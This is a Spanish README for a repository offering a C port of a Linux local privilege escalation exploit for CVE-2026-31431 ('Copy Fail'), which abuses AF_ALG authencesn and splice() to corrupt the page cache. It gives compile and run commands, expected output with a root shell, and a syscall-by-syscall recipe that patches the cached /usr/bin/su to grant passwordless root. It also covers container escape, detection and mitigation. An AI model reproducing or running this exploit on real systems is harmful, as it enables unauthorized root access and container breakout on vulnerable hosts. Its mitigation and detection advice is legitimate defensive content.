
Exploit de escalada de privilegios local basado en C para CVE-2026-31431, una vulnerabilidad del kernel de Linux en la interfaz criptográfica AF_ALG, que proporciona acceso root mediante la manipulación de la caché de páginas.
Copy Fail (CVE-2026-31431) — es una vulnerabilidad lógica en el kernel de Linux que permite a un usuario local sin privilegios escalar privilegios hasta el nivel de superusuario (root). La vulnerabilidad pertenece a la clase Local Privilege Escalation (LPE), no requiere condiciones de explotación complejas (como race condition o adivinación de direcciones de memoria) y funciona "de fábrica" en la mayoría de las distribuciones de Linux publicadas después de 2017.
Este repositorio contiene un port del exploit original en Python al lenguaje C con comentarios detallados, apto para compilación estática y uso en entornos mínimos.
La vulnerabilidad surge de un error lógico en el subsistema criptográfico del kernel de Linux, relacionado con el manejo de AF_ALG (interfaz de la API criptográfica del kernel) y el mecanismo de caché de páginas (page cache).
El error fue introducido en 2017 al añadir una optimización que eliminó el buffering adicional mediante la ejecución de operaciones de cifrado por bloques AEAD (Authenticated Encryption with Associated Data) in-place. Debido al manejo incorrecto de los límites de los buffers en el algoritmo authencesn (parte de la plantilla criptográfica AEAD), se produce una escritura de 4 bytes fuera de los límites del buffer asignado, lo que provoca la corrupción de las estructuras de control de la caché de páginas.
Como resultado, el kernel puede escribir datos de vuelta en la caché de páginas de un archivo, incluso si fue abierto solo para lectura (O_RDONLY).
AF_ALG e inicializa el algoritmo AEAD authencesn(hmac(sha256),cbc(aes)).setsockopt() se establecen parámetros anómalos:
sendmsg() con control messages se inicia la operación de descifrado.splice() mueve datos del archivo objetivo (abierto con O_RDONLY) al socket criptográfico.authencesn, la caché de páginas del archivo se corrompe y los datos "descifrados" se escriben de vuelta en la caché.root.Distribuciones vulnerables (al usar kernels con el módulo algif_aead cargado):
Importancia especial: en entornos de contenedores (Docker, LXC, Kubernetes), los procesos dentro del contenedor tienen acceso por defecto al subsistema AF_ALG si el módulo algif_aead está cargado en el kernel del host. Esto crea un riesgo de ruptura del aislamiento del contenedor y de obtener control sobre la máquina host.
Verificación de la vulnerabilidad:
# Verificar si el módulo algif_aead está cargado
lsmod | grep algif
# Verificar la presencia de AF_ALG en el kernel
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
El exploit original fue escrito en Python (≈732 bytes). Este port a C tiene las siguientes características:
libz.strace).recv() no bloqueante — evita el cuelgue, replicando el comportamiento de try/except de Python.Diferencias clave respecto a la versión en Python, identificadas durante el port:
# Se requiere libz (zlib1g-dev o zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
Si la explotación tiene éxito, se ejecutará una versión parcheada de /usr/bin/su que proporciona acceso root sin solicitar contraseña.
Salida esperada:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su abierto
[+] 40 chunks
[*] 40/40 ok
# id
uid=0(root) gid=0(root) groups=0(root)
A continuación se presenta un análisis detallado de cada paso del exploit con las llamadas al sistema correspondientes:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
Se crea un socket para acceder a la API criptográfica del kernel. El algoritmo authencesn (Authenticated Encryption with Sequence Numbers) es un algoritmo AEAD compuesto que utiliza AES-CBC para el cifrado y HMAC-SHA256 para la autenticación.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 ceros), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 ceros), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 ceros)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
Se crea una conexión para la operación. A través de sendmsg() con control messages (CMSG) se establecen los parámetros:
ALG_OP_DECRYPT = 0).Todas estas anomalías crean inconsistencias en la gestión de memoria del kernel.
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
splice() es una llamada al sistema para mover datos entre descriptores de archivo sin copiar a través de userspace. Los datos se mueven a nivel de kernel mediante el mecanismo de pipe.
splice(target_fd -> pipe): los datos del archivo objetivo (/usr/bin/su) entran en el pipe.splice(pipe -> conn_sock): los datos del pipe entran en el socket criptográfico como "texto cifrado".Punto clave: en Python (y en este port), el desplazamiento para el pipe se pasa como NULL, lo que permite al kernel gestionar automáticamente la posición.
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
La llamada a recv() obliga al kernel a completar la operación criptográfica. En modo normal, aquí se devolverían los datos descifrados, pero debido a los parámetros anómalos se devuelve un error EBADMSG (Python) o EAGAIN (C con O_NONBLOCK). El error se ignora — la corrupción de la caché de páginas ya ocurrió en la etapa de splice().
La caché de páginas (page cache) es la caché del contenido de los archivos en la memoria RAM. Cuando un proceso abre un archivo con O_RDONLY, el kernel solo permite la lectura de esa caché. Sin embargo, la vulnerabilidad permite eludir esta restricción:
write(), pero splice() trabaja directamente a nivel de caché de páginas, evitando esas comprobaciones.Los cambios ocurren solo en la memoria RAM, no en el disco. Esto hace que el ataque sea difícil de detectar con herramientas estándar de control de integridad. Tras un reinicio o la limpieza de la caché de páginas, los rastros del ataque desaparecen.
Actualizar el kernel de Linux a una versión que contenga el parche.
Deshabilitar el módulo algif_aead:
# Prohibir la carga del módulo
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf
# Descargar el módulo (si está cargado)
sudo rmmod algif_aead
Recomendaciones adicionales:
AF_ALG mediante perfiles seccomp./usr/bin/su en el disco?No. Los cambios ocurren solo en la caché de páginas (memoria RAM). El contenido del archivo en el disco permanece sin cambios. Tras reiniciar el sistema, la caché de páginas se limpia y el archivo vuelve a su estado original.
La detección es posible mediante:
auditd, strace).AF_ALG.Las herramientas estándar de control de integridad (AIDE, Tripwire) no detectarán los cambios, ya que el archivo en el disco permanece sin cambios.
Este código se proporciona exclusivamente con fines educativos y de investigación. El autor no se hace responsable de cualquier uso de este código con fines ilícitos. El uso del exploit sin el permiso explícito del propietario del sistema es ilegal y puede conllevar responsabilidad penal.
Úselo solo en sistemas que le pertenezcan o en sistemas donde tenga permiso escrito explícito para realizar pruebas de seguridad.
| Componente | Descripción |
|---|
| Kernel de Linux | Todas las versiones desde 2017 hasta la inclusión del parche correctivo |
| Subsistema | crypto (módulo algif_aead) |
| Interfaz | AF_ALG — acceso de usuario a la crypto-API del kernel |
| Llamada al sistema | splice() en combinación con sockets AF_ALG |
| Parámetro | Python | C (este port) |
|---|
Flag de sendmsg() | MSG_MORE | MSG_MORE |
Flag de splice() | 0 | 0 |
| Desplazamiento en pipe | NULL | NULL |
| Tamaño de clave | 40 bytes | 40 bytes |
cmsg_len | 20/36/20 | 20/36/20 (fijo) |
| Creación de pipe | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | Bloqueante con try/except | No bloqueante (O_NONBLOCK) |